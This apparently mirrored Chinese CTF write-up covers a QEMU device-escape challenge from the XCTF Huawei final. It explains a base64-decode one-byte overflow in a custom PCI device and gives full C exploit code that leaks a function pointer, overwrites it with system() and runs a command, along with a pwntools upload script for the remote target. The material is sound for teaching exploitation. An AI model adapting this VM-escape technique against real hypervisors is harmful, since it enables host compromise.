3

XCTF 华为高校挑战赛决赛 QEMU pipeline

 2 years ago
source link: https://xuanxuanblingbling.github.io/ctf/pwn/2022/09/19/qemu/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

XCTF 华为高校挑战赛决赛 QEMU pipeline

2022-09-19

| CTF/Pwn

| 88

第一次在比赛中做出QEMU赛题,难度不大,6解,800分。漏洞点为:在目标代码进行base64解码时,数据长度限制由于除法忽略小数点后数据,进而产生的单字节溢出。溢出可以覆盖掉题目中的关键数据结构的size成员(PipeLineState.decPipe[3].size),进而可以越界读写题目中的函数指针,完成地址信息泄露以及控制流劫持。并且通过此函数指针可以简单的完成system(cmd)的调用,最终读取flag。

image

前期知识:QEMU 逃逸 潦草笔记

确认题目qemu有符号,分析应该不难:

➜  file qemu-system-x86_64 
qemu-system-x86_64: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, 
interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, with debug_info, not stripped

删掉启动脚本中的timeout让程序正常启动:

#!/bin/bash
./qemu-system-x86_64 \
    -m 1G \
    -initrd ./rootfs.cpio \
    -nographic \
    -kernel ./vmlinuz-5.0.5-generic \
    -L pc-bios/ \
    -append "priority=low console=ttyS0" \
    -monitor /dev/null \
    -device pipeline

cpio解包与打包:

➜  mkdir rootfs; cd rootfs
➜  cpio -idvm < ../rootfs.img
➜  find . | cpio -H newc -o > ../rootfs.cpio

目标设备为pipeline,并且qemu有符号,所以直接在IDA中搜索pipeline函数,发现本题mmio和pmio都有实现,所以主要关注以下四个函数:

  • pipeline_mmio_read
  • pipeline_mmio_write
  • pipeline_pmio_read
  • pipeline_pmio_write

虽然有符号,但对于以上四个函数的第一个参数的类型,仍然没有自动识别,因此需要手工转换opaque参数的类型为PipeLineState,方法如下:

image

image

转换完参数类型后,结果如下:

uint64_t __cdecl pipeline_mmio_read(PipeLineState *opaque, hwaddr addr, unsigned int size)
{
  __int64 v4; // rdx
  unsigned int sizea; // [rsp+0h] [rbp-34h]
  int pIdx; // [rsp+20h] [rbp-14h]

  pIdx = opaque->pIdx;
  if ( (unsigned int)pIdx >= 8 )
    return -1LL;
  if ( size != 1 )
    return -1LL;
  if ( pIdx > 3 )
  {
    sizea = *(_DWORD *)&opaque->encPipe[1].data[68 * pIdx + 12];
    v4 = 68LL * (pIdx - 4) + 3152;
  }
  else
  {
    sizea = opaque->encPipe[pIdx].size;
    v4 = 96LL * pIdx + 2768;
  }
  if ( addr < sizea )
    return *((char *)&opaque->pdev.qdev.parent_obj.free + v4 + addr);
  else
    return -1LL;
}

不过识别的代码中仍然有令人费解的部分,比如:

*((char *)&opaque->pdev.qdev.parent_obj.free + v4 + addr);

因为按道理这些功能代码应该读写opaque变量中的自定义数据,不应该使用什么pdev.qdev,所以需要进行分析。以上四个函数操作的数据主要操作的数据就是opaque变量,其结构体为PipeLineState,可以在IDA的Structures窗口中找到:

00000000 PipeLineState   struc ; (sizeof=0xD80, align=0x10, copyof_2451)
00000000 pdev            PCIDevice_0 ?
000008F0 mmio            MemoryRegion_0 ?
000009E0 pmio            MemoryRegion_0 ?
00000AD0 pIdx            dd ?
00000AD4 encPipe         EncPipeLine 4 dup(?)
00000C54 decPipe         DecPipeLine 4 dup(?)
00000D64                 db ? ; undefined
00000D65                 db ? ; undefined
00000D66                 db ? ; undefined
00000D67                 db ? ; undefined
00000D68 encode          dq ?                    ; offset
00000D70 decode          dq ?                    ; offset
00000D78 strlen          dq ?                    ; offset
00000D80 PipeLineState   ends

经过分析pdev.qdev.parent_obj.free其实就是加8的偏移,所以这个令人费解的代码:

*((char *)&opaque->pdev.qdev.parent_obj.free + v4 + addr);

其实就是:

*((char *)&opaque + 8 + v4 + addr);

另外在pipeline_pmio_write有函数指针调用,其初始化在pipeline_instance_init函数中:

void __cdecl pipeline_instance_init(Object_0 *obj)
{
  int i; // [rsp+14h] [rbp-Ch]
  PipeLineState *state; // [rsp+18h] [rbp-8h]

  ...
  state->encode = (int (*)(char *, char *, int))pipe_encode;
  state->decode = (int (*)(char *, char *, int))pipe_decode;
  state->strlen = (int (*)(char *))&strlen;
  ...
}

经过逆向分析结构体中主要的数据结构为decPipe[4]encPipe[4],其结构如下:

00000000 EncPipeLine     struc ; (sizeof=0x60, align=0x4, copyof_2449)
00000000                                         ; XREF: PipeLineState/r
00000000 size            dd ?
00000004 data            db 92 dup(?)
00000060 EncPipeLine     ends

00000000 DecPipeLine     struc ; (sizeof=0x44, align=0x4, copyof_2450)
00000000                                         ; XREF: PipeLineState/r
00000000 size            dd ?
00000004 data            db 64 dup(?)
00000044 DecPipeLine     ends

函数主要功能如下:

  • pipeline_mmio_read: 读encPipe/decPipe中data
  • pipeline_mmio_write:写encPipe/decPipe中data
  • pipeline_pmio_read: 0->读pIdx,4->读pIdx对应的size
  • pipeline_pmio_write:0->写pIdx,4->写pIdx对应的size,12->b64encode,16->b64decode

编解码会在encPipe[4]decPipe[4]数组中对应的来回倒腾,所以主要是个base64编解码的功能,使用功能如下:

#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/io.h>

void * mmio;
int port_base = 0xc040; 

void pmio_write(int port, int val){ outl(val, port_base + port); }
void mmio_write(uint64_t addr, char value){ *(char *)(mmio + addr) = value;}
int  pmio_read(int port) { return inl(port_base + port); }
char mmio_read(uint64_t addr){ return *(char *)(mmio + addr); }

void write_block(int idx,int size,int offset, char * data){
    pmio_write(0,idx); pmio_write(4,size);
    for(int i=0;i<strlen(data);i++) { mmio_write(i+offset,data[i]); }
}

void read_block(int idx,int size,int offset, char * data){
    pmio_write(0,idx);
    for(int i=0;i<size;i++){ data[i] = mmio_read(i+offset);}
}

int main(){
    // init mmio and pmio
    iopl(3);
    int  mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);
    mmio         = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);

    char b64e[] = "eHVhbnh1YW4=";
    char data[100] = {0};
    
    write_block(2,0x5c,0,b64e);
    pmio_write(16,0);           // b64decode block 2 to block 6
    read_block(6,8,0,data);

    printf("[+] %s\n",data);
    return 0;
}

编译,打包进文件系统,并执行,成功进行base64解码:

➜  gcc -static test.c -o test
➜  find . | cpio -H newc -o > ../rootfs.cpio
➜  cd .. ; ./launch.sh
/ # ./test
[+] xuanxuan

主要目的还是看PipeLineState中数据的情况,可以把断点打在mmio或者pmio的任意函数上,然后通过第一个参数(rdi)得到,示例交互,调用pmio_write:

#include <stdint.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/io.h>

void * mmio;
int port_base = 0xc040; 

void pmio_write(int port, int val){ outl(val, port_base + port); }
void mmio_write(uint64_t addr, char value){ *(char *)(mmio + addr) = value;}
int  pmio_read(int port) { return inl(port_base + port); }
char mmio_read(uint64_t addr){ return *(char *)(mmio + addr); }

int main(){
    
    iopl(3);
    int  mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);
    mmio         = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);

    pmio_write(0,1);
    return 0;
}

编译,打包进文件系统,并执行:

➜  gcc -static test.c -o test
➜  find . | cpio -H newc -o > ../rootfs.cpio
➜  cd .. ; ./launch.sh

gdb挂上qemu进程并把断点打在pipeline_pmio_write函数上:

➜  ps -ef | grep qemu               
xuan       8956   8955 30 22:20 pts/0    00:00:06 ./qemu-system-x86_64 

➜  sudo gdb --pid 8956
gef➤  b pipeline_pmio_write
Breakpoint 1 at 0x5650321e1d34: file ../hw/pci/pipeline.c, line 146.
gef➤  c

虚拟机里执行测试代码:

/ # ./text

断点断下,查看rdi寄存器,然后即可查看PipeLineState结构体:

gef➤  i r rdi
rdi            0x565035a20f80	0x565035a20f80

gef➤  p *((PipeLineState *)(0x565035a20f80))

也可以单独查看结构体中的成员:

gef➤  set $a = *((PipeLineState *)(0x565035a20f80))
gef➤  p /x $a.encPipe
$2 = {\{
    size = 0x0, 
    data = {0x0 <repeats 92 times>}
  }, {
    size = 0x0, 
    data = {0x0 <repeats 92 times>}
  }, {
    size = 0x0, 
    data = {0x0 <repeats 92 times>}
  }, {
    size = 0x0, 
    data = {0x0 <repeats 92 times>}
  }\}

也可以查看结构体中成员的地址:

gef➤  p /x &((PipeLineState *)(0x565035a20f80)).encode
$26 = 0x565035a21ce8
gef➤  x /20gx 0x565035a21ce8
0x565035a21ce8:	0x00005650321e24f3	0x00005650321e21bb
0x565035a21cf8:	0x00007f8bb5c59450	0x0000000000000000
0x565035a21d08:	0x0000000000000061	0x0000565035a20f10
0x565035a21d18:	0x0000565035a20f30	0x0000000000000000
0x565035a21d28:	0x0000565032650105	0x0000000000000000
0x565035a21d38:	0x0000565032650183	0x0000565032650199
0x565035a21d48:	0x0000000000000000	0x0000565035a20f80
0x565035a21d58:	0x0000000000000000	0x0000000000000000
0x565035a21d68:	0x0000000000000061	0x0000565035a20bb0
0x565035a21d78:	0x0000565035a21dd0	0x0000000000000000

这个漏洞还是看了一会的,不过结合base64编解码的功能来看,最可能得漏洞点应该出在base64解码的位置,原因有二:

  1. 对变长数据编解码的处理容易产生溢出读写
  2. 考虑利用的可能性,解码后的数据没有字符限制,更可以利用

最终漏洞的确出现在pipeline_pmio_write中对base64解码处理的过程中:

void __cdecl pipeline_pmio_write(PipeLineState *opaque, hwaddr addr, uint64_t val, unsigned int size)
{
  unsigned int sizea; // [rsp+4h] [rbp-4Ch]
  unsigned int sizeb; // [rsp+4h] [rbp-4Ch]
  int pIdx; // [rsp+28h] [rbp-28h]
  int pIdxa; // [rsp+28h] [rbp-28h]
  int pIdxb; // [rsp+28h] [rbp-28h]
  int useSize; // [rsp+2Ch] [rbp-24h]
  int ret_s; // [rsp+34h] [rbp-1Ch]
  int ret_sa; // [rsp+34h] [rbp-1Ch]
  char *iData; // [rsp+40h] [rbp-10h]

  if ( size == 4 )
  {
      ...
      else if ( addr == 16 ){
        pIdxb = opaque->pIdx;
        if ( (unsigned int)pIdxb <= 7 )
        {
          if ( pIdxb > 3 )
            pIdxb -= 4;
          sizeb = opaque->encPipe[pIdxb].size;
          iData = (char *)opaque->encPipe[pIdxb].data;
          if ( sizeb <= 0x5C )
          {
            if ( sizeb )
              iData[sizeb] = 0;
            useSize = opaque->strlen(iData);
            if ( 3 * (useSize / 4) + 1 <= 0x40 )
            {
              ret_sa = opaque->decode(iData, (char *)opaque->decPipe[pIdxb].data, useSize);
              if ( ret_sa != -1 )
                opaque->decPipe[pIdxb].size = ret_sa;
       ...

其opaque->decode调用的pipe_decode函数,不处理第三个size参数,所以解码过程,是直到扫描到输入字符串的空字符才结束。虽然useSize也是使用strlen进行了判断:

3 * (useSize / 4) + 1 <= 0x40

这里判断的标准边界应为((0x40 - 1)/3)*4 == 84,但是因为c语言整型的除法,84 到 87 这四个整数,都可以满足本判断,而size为87即可在解码时溢出后续数据。使用0xff进行base64编码作为测试数据,这样在解码后得到的溢出字符为0xff,如果后续溢出size,0xff位最大值:

>>> from pwn import *
>>> b64e(b'\xff\xff\xff')
'////'

测试代码如下:

#include <stdint.h>
#include <string.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/io.h>

void * mmio;
int port_base = 0xc040; 

void pmio_write(int port, int val){ outl(val, port_base + port); }
void mmio_write(uint64_t addr, char value){ *(char *)(mmio + addr) = value;}
int  pmio_read(int port) { return inl(port_base + port); }
char mmio_read(uint64_t addr){ return *(char *)(mmio + addr); }

void write_block(int idx,int size,int offset, char * data){
    pmio_write(0,idx); pmio_write(4,size);
    for(int i=0;i<strlen(data);i++) { mmio_write(i+offset,data[i]); }
}

int main(){
    // init mmio and pmio
    iopl(3);
    int  mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);
    mmio         = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);

    // write '/'*87 to block 2
    char data[100];
    memset(data,0,100);
    memset(data,'/',87);
    write_block(2,0x5c,0,data);

    // decode block 2 to block 6, it will overflow block 7 size
    pmio_write(16,0);

    return 0;
}

调试可见PipeLineState.decPipe[3].size确实被溢出了:

gef➤  b pipeline_pmio_write
gef➤  i r rdi
rdi            0x55ece5dd4f80	0x55ece5dd4f80
gef➤  p /x *((PipeLineState *)(0x55ece5dd4f80))

decPipe = {\{
    size = 0x0, 
    data = {0x0 <repeats 64 times>}
}, {
    size = 0x0, 
    data = {0x0 <repeats 64 times>}
}, {
    size = 0x0, 
    data = {0xff <repeats 64 times>}
}, {
    size = 0xff, 
    data = {0x0 <repeats 64 times>}
}\}, 
encode = 0x55ece3c634f3, 
decode = 0x55ece3c631bb, 
strlen = 0x7f8a9b4fc450

利用方法就很明显了,溢出写PipeLineState.decPipe[3].size后,即可使用mmio_read/mmio_write越界读写PipeLineState.decPipe[3].data后续的函数指针,完成地址信息泄露以及控制流劫持。

#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/io.h>

void * mmio;
int port_base = 0xc040; 

void pmio_write(int port, int val){ outl(val, port_base + port); }
void mmio_write(uint64_t addr, char value){ *(char *)(mmio + addr) = value;}
int  pmio_read(int port) { return inl(port_base + port); }
char mmio_read(uint64_t addr){ return *(char *)(mmio + addr); }

void write_block(int idx,int size,int offset, char * data){
    pmio_write(0,idx); pmio_write(4,size);
    for(int i=0;i<strlen(data);i++) { mmio_write(i+offset,data[i]); }
}

void read_block(int idx,int size,int offset, char * data){
    pmio_write(0,idx);
    for(int i=0;i<size;i++){ data[i] = mmio_read(i+offset);}
}

int main(){

    // init mmio and pmio
    iopl(3);
    int  mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);
    mmio         = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);

    // write '/'*87 to block 2
    char data[100];
    memset(data,0,100);
    memset(data,'/',87);
    write_block(2,0x5c,0,data);

    // decode block 2 to block 6, it will overflow block 7 size
    pmio_write(16,0);

    // out of bound read block 7 (offset 0x44), leak encode function ptr
    char leak[0x10];
    read_block(7,8,0x44,leak);

    long long base = *((long long *)leak)-0x3404F3;
    long long sys  = base + 0x2C0AD0;

    printf("[+] base:   0x%llx \n",base);
    printf("[+] system: 0x%llx \n",sys);

    // out of bound write block 7 (offset 0x44), overwrite encode function ptr to system ptr
    write_block(7,0x5c,0x44,(char *)(&sys));

    // write cmd to block 4
    char cmd[] = "cat /flag ; gnome-calculator ;\x00";
    write_block(4,0x30,0,cmd);

    // trigger encode(block 4) to system(cmd)
    pmio_write(12,0);
    return 0;
}

本地成功弹计算器:

image

攻击远程可使用musl libc减小体积,下载x86_64的本地版本https://musl.cc/x86_64-linux-musl-native.tgz,然后直接编译即可:

➜  ../../x86_64-linux-musl-native/bin/x86_64-linux-musl-gcc --static ./exp.c -o exp
➜  ../../x86_64-linux-musl-native/bin/strip ./exp
➜  ls -al ./exp 
-rwxr-xr-x  1 xuanxuan  staff  22616  9 18 01:59 ./exp

还是之前python2的上传脚本…

from pwn import *
context(log_level='debug')

io = remote("172.35.7.30",9999)
#io = process("./launch.sh")

def exec_cmd(cmd):
    io.sendline(cmd)
    io.recvuntil("/ #")

def upload():
    p = log.progress("Upload")
    with open("./exp", "rb") as f:
        data = f.read()
    encoded = base64.b64encode(data)
    io.recvuntil("/ #")

    for i in range(0, len(encoded), 600):
        p.status("%d / %d" % (i, len(encoded)))
        exec_cmd("echo \"%s\" >> /home/ctf/benc" % (encoded[i:i+600]))

    exec_cmd("cat /home/ctf/benc | base64 -d > /home/ctf/bout")
    exec_cmd("chmod +x /home/ctf/bout")
    exec_cmd("/home/ctf/bout")
    
upload()
io.interactive()

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK